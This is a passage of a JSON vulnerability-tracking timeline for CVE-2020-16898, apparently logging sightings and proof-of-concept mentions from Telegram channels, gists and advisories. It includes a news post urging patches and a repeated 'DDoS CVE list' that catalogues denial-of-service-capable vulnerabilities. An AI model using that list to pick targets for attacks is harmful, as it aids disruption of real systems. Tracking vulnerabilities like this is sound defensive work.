\u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Windows \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 IPv6, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.", "url": "https://t.me/true_secator/6095"}, {"timestamp": "2024-08-15T11:48:19Z", "date_only": false, "value": "2024-08-15T11:48:19.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/S_E_Reborn/5027", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "1ef57217-a2a5-4636-95b0-9dd063688839", "content": "Microsoft \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Zero-click TCP/IP RCE, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Windows \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e IPv6 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\nCVE-2024-38063 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0421\u044f\u043e\u0412\u044d\u0435\u043c\u00a0\u0438\u0437 Kunlun Lab \u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e Integer Underflow, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows 10, Windows 11 \u0438 Windows Server.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043a\u0440\u0430\u0442\u043a\u043e\u0441\u0440\u043e\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u0435, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0449\u0435\u0440\u0431, \u0434\u043e\u0431\u0430\u0432\u0438\u0432, \u0447\u0442\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 IPv6 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0435 Windows \u043d\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0434\u043e \u0435\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u043c.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u0438\u043b\u0430 Microsoft, \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043c\u043d\u043e\u0433\u043e\u043a\u0440\u0430\u0442\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u043f\u0430\u043a\u0435\u0442\u044b IPv6, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0442\u043a\u043e\u0439 \u00ab\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u043e\u043b\u0435\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u0430\u00bb.\n\n\u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, Microsoft \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u043f\u0440\u043e\u0448\u043b\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043c\u0435\u0440\u044b \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows, Microsoft \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c IPv6, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\u00a0\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0442\u0435\u043a \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 IPv6 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u044c\u044e Windows Vista \u0438 Windows Server 2008 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0438 \u043d\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c IPv6, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 Windows.\n\n\u0412 ZDI Trend Micro \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 CVE-2024-38063 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Microsoft \u0432 \u043c\u0435\u0441\u044f\u0447\u043d\u043e\u043c \u043f\u0430\u0442\u0447\u0435, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 \u0435\u0451 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c \u0447\u0435\u0440\u0432\u0435\u043c.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u044d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 \u043f\u0435\u0440\u0432\u0430\u044f \u0438, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u043d\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Windows, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0430\u043a\u0435\u0442\u043e\u0432 IPv6.\n\n\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0433\u043e\u0434\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b IPv6, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2020-16898/9 (Ping of Death), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f RCE \u0438 \u0430\u0442\u0430\u043a \u0442\u0438\u043f\u0430 DoS \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430 ICMPv6.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043e\u0448\u0438\u0431\u043a\u0430 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 IPv6 (CVE-2021-24086) \u0441\u0434\u0435\u043b\u0430\u043b\u0430 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Windows \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f DoS-\u0430\u0442\u0430\u043a, \u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c DHCPv6 (CVE-2023-28231) - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 RCE \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0438\u0445 \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Windows \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 IPv6, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.", "url": "https://t.me/S_E_Reborn/5027"}, {"timestamp": "2025-01-04T20:00:34Z", "date_only": false, "value": "2025-01-04T20:00:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/2358", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "e7d1ffad-fd2c-4fa2-b304-00b90ccbad8a", "content": "#Analytics\nTop-10 exploited vulnerabilities in July-December 2020:\n1. CVE-2020-0601 - CurveBall CryptoAPI\nhttps://t.me/cybersecuritytechnologies/628\n2. CVE-2019-17026/CVE-2020-0674 - 0-Day Vulnerability in Mozilla Firefox\nhttps://t.me/cybersecuritytechnologies/914\n3. CVE-2020-0796 - Windows SMBv3 LPE exploit\nhttps://t.me/cybersecuritytechnologies/874\n4. CVE-2020-1472 - Microsoft Zerologon\nhttps://t.me/cybersecuritytechnologies/1742\n5. CVE-2020-5902/5903 - F5 BigIP TMUI Critical RCE\nhttps://t.me/cybersecuritytechnologies/1378\n6. CVE-2018-10561 - Dasan GPON Router Auth. Bypass\nhttps://t.me/cybersecuritytechnologies/51\n7. CVE-2020-1350 - Exploit SIGRed\nhttps://t.me/cybersecuritytechnologies/1422\n8. CVE-2020-15999 + CVE-2020-17087 = Win Kernel cng.sys buffer overflow 0-Day\nhttps://t.me/cybersecuritytechnologies/1960\nhttps://t.me/cybersecuritytechnologies/2010\n9. CVE-2020-16898 - \"Bad Neighbor\" RCE Vulnerability\nhttps://t.me/cybersecuritytechnologies/1912\n10. CVE-2020-1938 - \"Ghostcat\" Apache Tomcat\nhttps://t.me/cybersecuritytechnologies/705", "url": "https://t.me/CyberSecurityTechnologies/2358"}, {"timestamp": "2025-07-15T17:10:19Z", "date_only": false, "value": "2025-07-15T17:10:19.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/schubi-dubi/fd3dc1a7bce06644a84bee69c89d0d38", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "ad0d6eef-281f-4af0-a8b8-ad303ac0fd75", "url": "https://gist.github.com/schubi-dubi/fd3dc1a7bce06644a84bee69c89d0d38"}, {"timestamp": "2025-07-30T07:27:40Z", "date_only": false, "value": "2025-07-30T07:27:40.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_sick \u00b7 SCA-2020-0005", "record": "SCA-2020-0005", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2025-08-03T06:11:01Z", "date_only": false, "value": "2025-08-03T06:11:01.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/eXCe_Fixxed/109130", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "a7a273bd-ab7b-46e9-bf35-ded571a86ed1", "content": "# DD0S CVE List by Layer 3/4/7\n\n##  Layer 3 (Network) - ICMP, IP, NDP\n\n# 2020\n- CVE-2020-16898  > Windows TCP/IP \"Bad Neighbor\" - ICMPv6 ping of death (DoS via BSOD)\n\n##  Layer 4 (Transport) - TCP, UDP\n\n# 2013\n- CVE-2013-5211  > NTP Amplification Attack via 'monlist' (UDP-based)\n\n# 2016\n- CVE-2016-9244  > Cisco VPN IKEv1 flood (UDP port 500 DoS)\n\n# 2018\n- CVE-2018-1000115  > Memcached UDP Amplification (reflection attack)\n\n# 2018\n- CVE-2018-0171  > Cisco Smart Install DoS (TCP port 4786)\n\n##  Layer 7 (Application) - HTTP, NTP, Memcached, API\n\n# 2021\n- CVE-2021-22986  > F5 BIG-IP iControl REST unauth DoS/RCE (API abuse)\n\n# 2023\n- CVE-2023-44487  > HTTP/2 Rapid Reset Attack - stream reset flooding\n\n# 2024\n- CVE-2024-29269  > Telesquare LTE Router Cmd Injection (dapat digunakan untuk DoS chaining) {New Cve Bug}", "url": "https://t.me/eXCe_Fixxed/109130"}, {"timestamp": "2025-08-03T06:11:01Z", "date_only": false, "value": "2025-08-03T06:11:01.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/eXCe_Fixxed/502", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "04d3c716-923a-44f4-a090-2a9a39c98a3a", "content": "# DD0S CVE List by Layer 3/4/7\n\n##  Layer 3 (Network) - ICMP, IP, NDP\n\n# 2020\n- CVE-2020-16898  > Windows TCP/IP \"Bad Neighbor\" - ICMPv6 ping of death (DoS via BSOD)\n\n##  Layer 4 (Transport) - TCP, UDP\n\n# 2013\n- CVE-2013-5211  > NTP Amplification Attack via 'monlist' (UDP-based)\n\n# 2016\n- CVE-2016-9244  > Cisco VPN IKEv1 flood (UDP port 500 DoS)\n\n# 2018\n- CVE-2018-1000115  > Memcached UDP Amplification (reflection attack)\n\n# 2018\n- CVE-2018-0171  > Cisco Smart Install DoS (TCP port 4786)\n\n##  Layer 7 (Application) - HTTP, NTP, Memcached, API\n\n# 2021\n- CVE-2021-22986  > F5 BIG-IP iControl REST unauth DoS/RCE (API abuse)\n\n# 2023\n- CVE-2023-44487  > HTTP/2 Rapid Reset Attack - stream reset flooding\n\n# 2024\n- CVE-2024-29269  > Telesquare LTE Router Cmd Injection (dapat digunakan untuk DoS chaining) {New Cve Bug}", "url": "https://t.me/eXCe_Fixxed/502"}, {"timestamp": "2025-08-27T05:52:59Z", "date_only": false, "value": "2025-08-27T05:52:59.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/hannahbellesheart/d8ffeff285838876fe8af107df9aae3c", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "df2f46d8-3f54-403d-b5d2-1978a658c113", "url": "https://gist.github.com/hannahbellesheart/d8ffeff285838876fe8af107df9aae3c"}, {"timestamp": "2025-09-29T15:49:48Z", "date_only": false, "value": "2025-09-29T15:49:48.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/admariner/0870cdb8a6a38ad985b40e7bf9be5661", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "6cb819be-86ca-4bed-ae3d-c418c2d5091a", "url": "https://gist.github.com/admariner/0870cdb8a6a38ad985b40e7bf9be5661"}, {"timestamp": "2025-10-28T19:25:46Z", "date_only": false, "value": "2025-10-28T19:25:46.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/masatti/81b455884b8e893cd0c103d9cccb183d", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "e05b43a7-dac9-4175-934f-df49e766fa7b", "url": "https://gist.github.com/masatti/81b455884b8e893cd0c103d9cccb183d"}, {"timestamp": "2026-03-17T14:50:30.248Z", "date_only": false, "value": "2026-03-17T14:50:30.248845Z", "kind": "sighting", "label": "Seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=516", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "1d9770c3-51de-4fb3-9b01-76953bf6daaf", "url": "https://www.govcert.gov.hk/en/alerts_detail.php?id=516"}, {"timestamp": "2026-06-05T09:00:04Z", "date_only": false, "value": "2026-06-05T09:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/2GKVzEdq0Q1GgXdde3R68qhjmtmEcsIfO4W2udc5u2OvA5M", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "db8b0710-8f37-42a3-8edd-4f0d08cf73d0"}, {"timestamp": "2026-06-17T02:58:13.373Z", "date_only": false, "value": "2026-06-17T02:58:13.373", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2020-16898", "record": "FKIE_CVE-2020-16898", "field": "lastModified"}, {"timestamp": "2026-07-29T12:01:51.239Z", "date_only": false, "value": "2026-07-29T12:01:51.239379Z", "kind": "sighting", "label": "Seen", "source": "Telegram/3Y5W-8wb2in1-2ez1XD4z8IUcnEV0l0NfXkjOvSrwPluxA", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "485db025-9032-40a8-a472-5c5df0049787"}, {"timestamp": "2026-07-29T12:03:02.805Z", "date_only": false, "value": "2026-07-29T12:03:02.805455Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/582", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "0c3905cb-2130-4571-9f45-47b9508a9e25", "url": "https://t.me/reverseame/582"}, {"timestamp": "2026-07-29T12:03:03.265Z", "date_only": false, "value": "2026-07-29T12:03:03.265789Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/488", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "211e0db6-acfa-44dc-aa06-92861eb8284e", "url": "https://t.me/reverseame/488"}, {"timestamp": "2026-07-29T12:03:03.407Z", "date_only": false, "value": "2026-07-29T12:03:03.407933Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/483", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "741cd060-e986-46ed-b3d6-944a3ce79be0", "url": "https://t.me/reverseame/483"}, {"timestamp": "2026-07-29T12:03:03.458Z", "date_only": false, "value": "2026-07-29T12:03:03.458874Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/484", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "2a9005e3-1169-481b-ba74-8149c40f3a9a", "url": "https://t.me/reverseame/484"}, {"timestamp": "2026-07-30T00:02:02.999Z", "date_only": false, "value": "2026-07-30T00:02:02.999080Z", "kind": "sighting", "label": "Seen", "source": "Telegram/3Y5W-8wb2in1-2ez1XD4z8IUcnEV0l0NfXkjOvSrwPluxA", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "3caca845-5da8-4b84-9abe-4bc334262eaf"}, {"timestamp": "2026-07-30T00:02:51.120Z", "date_only": false, "value": "2026-07-30T00:02:51.120197Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/582", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "60c71dc0-75a9-43f9-9f3c-e9a374ae1461", "url": "https://t.me/reverseame/582"}, {"timestamp": "2026-07-30T00:02:51.569Z", "date_only": false, "value": "2026-07-30T00:02:51.569571Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/488", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "037bc0bb-f295-45e6-b63e-8900de8d56b4", "url": "https://t.me/reverseame/488"}, {"timestamp": "2026-07-30T00:02:52.670Z", "date_only": false, "value": "2026-07-30T00:02:52.670616Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/483", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "7eb27a9e-f838-4ddf-b347-14186c9465f0", "url": "https://t.me/reverseame/483"}, {"timestamp": "2026-07-30T00:02:52.714Z", "date_only": false, "value": "2026-07-30T00:02:52.714775Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/484", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "d49b5bab-0067-4d8e-ac33-3096ba15542e", "url": "https://t.me/reverseame/484"}, {"timestamp": "2026-07-31T03:00:03.487Z", "date_only": false, "value": "2026-07-31T03:00:03.487161Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/95933", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "5055676b-fb95-4620-a67a-274d2951446f", "url": "https://t.me/GithubRedTeam/95933"}, {"timestamp": "2026-08-01T00:00:42.938Z", "date_only": false, "value": "2026-08-01T00:00:42.938860Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/95933", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "fde6a253-3206-4e6b-b826-3ec3058e2885", "url": "https://t.me/GithubRedTeam/95933"}, {"timestamp": "2026-08-01T16:00:05.358Z", "date_only": false, "value": "2026-08-01T16:00:05.358160Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/3Y5W-8wb2in1-2ez1XD4z8IUcnEV0l0NfXkjOvSrwPluxA", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "d0771779-1041-4036-a591-dccaaffc2ecc"}, {"timestamp": "2026-08-02T00:00:42.738Z", "date_only": false, "value": "2026-08-02T00:00:42.738824Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/3Y5W-8wb2in1-2ez1XD4z8IUcnEV0l0NfXkjOvSrwPluxA", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "e111d251-7c65-459e-8ffe-5fdd2b348485"}, {"timestamp": "2026-08-03T14:00:04.134Z", "date_only": false, "value": "2026-08-03T14:00:04.134815Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/582", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "34e32fb5-c70c-41fd-bd33-2a64d0673655", "url": "https://t.me/reverseame/582"}, {"timestamp": "2026-08-03T15:00:05.004Z", "date_only": false, "value": "2026-08-03T15:00:05.004609Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/484", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "93a28080-5523-46fc-8199-30990dbca240", "url": "https://t.me/reverseame/484"}, {"timestamp": "2026-08-03T15:00:05.047Z", "date_only": false, "value": "2026-08-03T15:00:05.047511Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/483", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "b0c335b4-b958-48ee-bc2e-e6e61f555c05", "url": "https://t.me/reverseame/483"}, {"timestamp": "2026-08-03T15:00:05.170Z", "date_only": false, "value": "2026-08-03T15:00:05.170672Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/488", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "a166a613-3420-46cc-99a8-b1149783bbf7", "url": 